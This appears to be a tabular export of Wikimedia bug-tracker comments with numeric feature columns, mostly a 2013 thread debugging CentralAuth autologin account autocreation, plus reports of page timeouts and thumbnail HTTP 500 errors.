235129,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"Isn't this just the ""standard"" timeout for (uncached/just edited) pages with a lot of templates, like [[m:User:Cbrown1023/Logos]]?",,,1379342111,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,True,,,-94,True,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,11.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.1666666666666665,0.8333333333333334,"Isn't this just the ""standard"" timeout for (uncached/just edited) pages with a lot of templates, like [[m:User:Cbrown1023/Logos]]?"
56119,Autologin autocreate is not working,"Steps I followed to reproduce:
1) Pick or produce an account registered on it.wikt (home), en.wikt, it.source, en.source; clear all cookies and start new incognito window on Chromium (27.0.1453.93 200836)
2) Visit ru.wikt
3) Login on it.wikt
4) Visit ru.wikt
I. Expected: I am logged in (account is autocreated).
II. Actual: Account is not created and I am not logged in. (Not bug 45578 comment 3 because I had visited the site.)
5) Visit en.wikt
III. Expected: I am logged in (account already exists).
IV. Actual: I am logged in.
6) Visit it.source
Same as III, IV.
7) Visit en.source
Same as III, IV.

In some previous test I was not logged in at step 7 (i.e. in other projects but same language subdomain, but not same project different language), I don't know what happen.
The messy situation at [[Special:CentralAuth/Bug 16864 test]] is due to bug 16864: if you sort by date you can spot the accounts autocreated by logging in on wikimania2013 and outreach (without any logic). I don't know how the various bugs are interacting here.

--------------------------
**Version**: master
**Severity**: major",High,80.0,1379156700,1380299259.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-o25zkcehzgmefdahshod,task_description,invalid,True,c3,1,True,False,True,-94,True,1.0,0.0,0.0,2.3333333333333335,2.3333333333333335,5.333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,3.6666666666666665,0.6666666666666666,0.0,0.0,0.0,3.0,0.3333333333333333,3.3333333333333335,8.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,5.0,1.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,11.333333333333334,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,1.6666666666666667,3.0,14.0,1.0,2.0,2.6666666666666665,0.0,0.0,0.0,0.0,4.666666666666667,0.0,3.0,0.0,3.6666666666666665,8.0,5.666666666666667,0.0,0.0,0.0,3.6666666666666665,0.0,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,2.6666666666666665,3.502913025384936,0.6322929671244278,"Steps I followed to reproduce:
1) Pick or produce an account registered on it.wikt (home), en.wikt, it.source, en.source; clear all cookies and start new incognito window on Chromium (27.0.1453.93 200836)
2) Visit ru.wikt
3) Login on it.wikt
4) Visit ru.wikt
I. Expected: I am logged in (account is autocreated).
II. Actual: Account is not created and I am not logged in. (Not bug 45578 comment 3 because I had visited the site.)
5) Visit en.wikt
III. Expected: I am logged in (account already exists).
IV. Actual: I am logged in.
6) Visit it.source
Same as III, IV.
7) Visit en.source
Same as III, IV.

In some previous test I was not logged in at step 7 (i.e. in other projects but same language subdomain, but not same project different language), I don't know what happen.
The messy situation at [[Special:CentralAuth/Bug 16864 test]] is due to bug 16864: if you sort by date you can spot the accounts autocreated by logging in on wikimania2013 and outreach (without any logic). I don't know how the various bugs are interacting here.

--------------------------
**Version**: master
**Severity**: major"
234975,Autologin autocreate is not working,"(In reply to comment #16)
> Feel free to reopen if
> it
> can be demonstrated that that's not the case.

Yes, I planned to retest this after the fix for bug 54292 is deployed.",,,1380301145,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-92,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,16.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,3.0,6.0,0.0,3.0,16.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.161290322580645,0.8387096774193549,"(In reply to comment #16)
QUOTE
QUOTE
QUOTE

Yes, I planned to retest this after the fix for bug 54292 is deployed."
234967,Autologin autocreate is not working,"I'm going to mark this RESOLVED INVALID, per comment 12 that the main complaint here an issue with one wiki's TitleBlacklist configuration (and the followup complaint in comment 13 seems covered by bug 54292). Feel free to reopen if it can be demonstrated that that's not the case.",,,1380299259,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-92,True,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,4.0,2.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,14.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,9.0,5.0,2.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,4.0,16.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.178571428571429,0.8392857142857143,"I'm going to mark this RESOLVED INVALID, per comment 12 that the main complaint here an issue with one wiki's TitleBlacklist configuration (and the followup complaint in comment 13 seems covered by bug 54292). Feel free to reopen if it can be demonstrated that that's not the case."
234962,Autologin autocreate is not working,"(In reply to comment #14)
> (In reply to comment #13)
> > However, why did I have to manually login on the first of (it|en).source to
> > create the account on step 1?
> 
> Possibly bug 54292?

Indeed that bug might be the correct formulation of what I tried to report here. I'll check better later.",,,1379609214,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-93,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,10.0,12.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,22.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,5.0,12.0,7.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,3.4146341463414633,0.7317073170731707,"(In reply to comment #14)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Indeed that bug might be the correct formulation of what I tried to report here. I'll check better later."
234958,Autologin autocreate is not working,"(In reply to comment #13)
> However, why did I have to manually login on the first of (it|en).source to
> create the account on step 1?

Possibly bug 54292?",,,1379606982,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-93,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0588235294117645,0.8823529411764706,"(In reply to comment #13)
QUOTE
QUOTE

Possibly bug 54292?"
234953,Autologin autocreate is not working,"(In reply to comment #12)
> That didn't really help. Looking at the connections to ruwiktionary in
> attachment 13304 [details], I see all the correct cookies were sent so you
> *should* have
> been logged in.
> 
> ..... Ugh. Have you tried it with a username that isn't caught by
> ruwiktionary's TitleBlacklist rule "".*\d{5,}.* <newaccountonly>   # 5+ digits
> running"", or any of their other very restrictive blacklist rules? Or can you
> reproduce it on any wiki other than ruwiktionary (or one with the same sort
> of
> rules)?

Sigh. I chose a random wiki to avoid bias, I should have used one of those super-small languages as I usually do. However, why did I have to manually login on the first of (it|en).source to create the account on step 1? I'll try to reproduce again elsewhere...",,,1379545086,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-94,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,6.0,0.0,7.0,12.0,0.0,6.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,1.0,0.0,4.0,0.0,0.0,0.0,1.0,9.0,0.0,3.0,0.0,6.0,12.0,13.0,1.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.393258426966292,0.6067415730337079,"(In reply to comment #12)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Sigh. I chose a random wiki to avoid bias, I should have used one of those super-small languages as I usually do. However, why did I have to manually login on the first of (it|en).source to create the account on step 1? I'll try to reproduce again elsewhere..."
234948,Autologin autocreate is not working,"That didn't really help. Looking at the connections to ruwiktionary in attachment 13304, I see all the correct cookies were sent so you *should* have been logged in.

..... Ugh. Have you tried it with a username that isn't caught by ruwiktionary's TitleBlacklist rule "".*\d{5,}.* <newaccountonly>   # 5+ digits running"", or any of their other very restrictive blacklist rules? Or can you reproduce it on any wiki other than ruwiktionary (or one with the same sort of rules)?",,,1379535771,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-94,True,2.5,0.0,1.0,1.5,1.0,4.5,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,4.0,8.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,1.5,0.5,1.5,0.0,2.0,0.0,0.0,0.5,3.0,0.0,1.0,0.0,1.0,0.5,0.0,0.0,0.5,0.0,9.5,0.5,0.0,0.0,0.5,1.0,0.0,0.0,1.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,2.5,1.5,4.5,0.0,3.0,5.5,0.0,0.0,0.0,1.0,3.5,0.5,3.5,0.0,5.0,8.0,2.5,2.0,2.0,0.0,5.0,0.0,0.5,0.5,0.0,1.5,0.0,0.0,1.0,3.8629336349924586,0.8446455505279035,"That didn't really help. Looking at the connections to ruwiktionary in attachment 13304, I see all the correct cookies were sent so you *should* have been logged in.

..... Ugh. Have you tried it with a username that isn't caught by ruwiktionary's TitleBlacklist rule "".*\d{5,}.* <newaccountonly>   # 5+ digits running"", or any of their other very restrictive blacklist rules? Or can you reproduce it on any wiki other than ruwiktionary (or one with the same sort of rules)?"
234942,Autologin autocreate is not working,"So, to expand on the comment above, in the first attempted auto-login after account creation there wasn't any call to login code or special pages that I could see; in step 4 there were some but apparently not successful.",,,1379460232,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-94,True,4.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,4.0,2.0,0.0,11.0,13.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,4.0,4.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9565217391304346,0.8695652173913043,"So, to expand on the comment above, in the first attempted auto-login after account creation there wasn't any call to login code or special pages that I could see; in step 4 there were some but apparently not successful."
234936,Autologin autocreate is not working,"Created attachment 13305
Step 4 net-internals export

**Attached**: {F11174}",,,1379460157,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-94,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.85,"Created attachment 13305
Step 4 net-internals export

**Attached**: {F11174}"
234929,Autologin autocreate is not working,"Created attachment 13304
Step 3-4 HARs and URL_REQUEST details

**Attached**: {F11173}",,,1379459785,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-94,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5454545454545454,0.8636363636363636,"Created attachment 13304
Step 3-4 HARs and URL_REQUEST details

**Attached**: {F11173}"
234921,Autologin autocreate is not working,"Created attachment 13303
Special:CentralAutoLogin calls step 4

**Attached**: {F11172}",,,1379459723,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-94,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8,"Created attachment 13303
Special:CentralAutoLogin calls step 4

**Attached**: {F11172}"
234914,Autologin autocreate is not working,"Created attachment 13302
Special:CentralAutoLogin calls step 3

**Attached**: {F11171}",,,1379459677,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-94,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8,"Created attachment 13302
Special:CentralAutoLogin calls step 3

**Attached**: {F11171}"
234906,Autologin autocreate is not working,"Created attachment 13301
Special:CentralAutoLogin calls 2

**Attached**: {F11170}",,,1379459590,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-94,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.7894736842105263,"Created attachment 13301
Special:CentralAutoLogin calls 2

**Attached**: {F11170}"
234898,Autologin autocreate is not working,"Created attachment 13300
Special:CentralAutoLogin calls 1

**Attached**: {F11169}",,,1379459547,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-94,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.7894736842105263,"Created attachment 13300
Special:CentralAutoLogin calls 1

**Attached**: {F11169}"
234895,Autologin autocreate is not working,"Created attachment 13299
Step 1 (account creation) HARs

**Attached**: {F11168}",,,1379459469,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-94,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,0.8571428571428571,"Created attachment 13299
Step 1 (account creation) HARs

**Attached**: {F11168}"
234891,Autologin autocreate is not working,"I reproduced again with steps as above, with [[Special:CentralAuth/Bug_54119_test]]; I stopped at step 4 because that's what you requested. There is no need to obfuscate headers because it's a throw-away account.
I forgot to follow the instructions closely on it.wikt login, so I only have HAR files for that and step 0. Note that in step 0 I had to manually login on it.source (but not en.source) to create the account.
Attachments follow.",,,1379459248,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-94,True,0.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,1.0,1.0,5.0,0.0,6.0,18.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,1.0,12.0,4.0,2.0,6.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,8.0,18.0,4.0,0.0,0.0,0.0,8.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,3.814432989690722,0.711340206185567,"I reproduced again with steps as above, with [[Special:CentralAuth/Bug_54119_test]]; I stopped at step 4 because that's what you requested. There is no need to obfuscate headers because it's a throw-away account.
I forgot to follow the instructions closely on it.wikt login, so I only have HAR files for that and step 0. Note that in step 0 I had to manually login on it.source (but not en.source) to create the account.
Attachments follow."
234886,Autologin autocreate is not working,"Can't reproduce, tried with both Firefox 24.0 and with Chromium 29.0.1547.57. Although I didn't specifically test having the *home* wiki as itwiktionary.

If you can capture the HTTP request and response headers for the following (obscure the values of any cookies with names ending in ""Token"" or ""Session"", but please indicate which were the same across requests), that would be helpful:
* The POST of the login form on itwiktionary, and all the subsequent redirects
* Any calls to Special:CentralAutoLogin on the HTML page from the previous
* The request on ruwiktionary after having logged in on itwiktionary
* Any calls to Special:CentralAutoLogin on the HTML page from the previous (there shouldn't be any, though)

To capture the headers, the information in http://productforums.google.com/forum/#!topic/chrome/1u7DQv-ag_4 may be helpful; note there will be multiple HTTP_TRANSACTION_SEND_REQUEST_HEADERS and HTTP_TRANSACTION_READ_RESPONSE_HEADERS blocks in one URL_REQUEST in the case of redirects.",,,1379445029,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-94,True,3.0,0.0,0.0,0.0,1.5,6.0,2.5,0.0,1.0,0.5,3.5,1.5,0.0,0.0,1.0,0.5,0.0,2.5,14.5,0.0,0.5,0.5,0.0,0.0,1.5,0.5,0.0,0.5,1.0,1.0,0.5,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.5,1.5,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,15.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,8.5,2.5,13.5,1.0,3.0,12.5,0.0,0.0,0.0,0.0,6.5,0.5,1.5,0.0,1.0,14.5,4.5,0.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,4.567479570990807,0.7001404494382022,"Can't reproduce, tried with both Firefox 24.0 and with Chromium 29.0.1547.57. Although I didn't specifically test having the *home* wiki as itwiktionary.

If you can capture the HTTP request and response headers for the following (obscure the values of any cookies with names ending in ""Token"" or ""Session"", but please indicate which were the same across requests), that would be helpful:
* The POST of the login form on itwiktionary, and all the subsequent redirects
* Any calls to Special:CentralAutoLogin on the HTML page from the previous
* The request on ruwiktionary after having logged in on itwiktionary
* Any calls to Special:CentralAutoLogin on the HTML page from the previous (there shouldn't be any, though)

To capture the headers, the information in URL may be helpful; note there will be multiple HTTP_TRANSACTION_SEND_REQUEST_HEADERS and HTTP_TRANSACTION_READ_RESPONSE_HEADERS blocks in one URL_REQUEST in the case of redirects."
234881,Autologin autocreate is not working,Probably needs to be retested after https://gerrit.wikimedia.org/r/83655 is deployed,,,1379356743,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-94,True,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.555555555555555,1.0,Probably needs to be retested after GERRIT_URL is deployed
56045,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"When requesting random images from Commons' MediaWiki API and requesting a thumbnail for it, I often get a HTTP 500.

For example:



GET http://upload.wikimedia.org/wikipedia/commons/thumb/f/fb/USMC-05934.jpg/400px-USMC-05934.jpg
HTTP 500
<html><head><title>Error generating thumbnail</title></head>
<body>
<h1>Error generating thumbnail</h1>
<p>
Error creating thumbnail:
</p>
<!-- http://commons.wikimedia.org/w/thumb_handler.php/f/fb/USMC-05934.jpg/400px-USMC-05934.jpg -->
<!-- mw1154 -->
</body>
</html>

Usually when trying again, it just works.

I've been getting these errors in many different environments:
* When reading articles and HiDPI plugin swaps the src attributes (the larger version would fail maybe)
* When opening the VisualEditor (rendering the new DOM means we re-parse the <img>tag and thus re-request it, thus making it more likely for the error to happen again)
* When working with gadgets that render image galleries through requesting file category members and the thumbnail url.

I don't think the scenario is relevant, there is either something wrong with the thumbnail generator script that is triggered by lots of images. Or there is a few faulty servers in the upload.wikimedia.org pool that cause the errors.

--------------------------
**Version**: wmf-deployment
**Severity**: critical",High,80.0,1378941420,1379553025.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-5ts3ggpcjypmoohi32ft,task_description,resolved,True,c3,1,True,False,True,-95,True,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,4.666666666666667,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,1.0,0.0,0.0,0.6666666666666666,1.3333333333333333,1.6666666666666667,5.0,5.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.0,5.0,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.6666666666666666,2.0,0.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,0.0,12.666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,1.3333333333333333,0.0,5.0,2.0,9.0,1.6666666666666667,2.3333333333333335,5.333333333333333,0.0,0.0,0.666666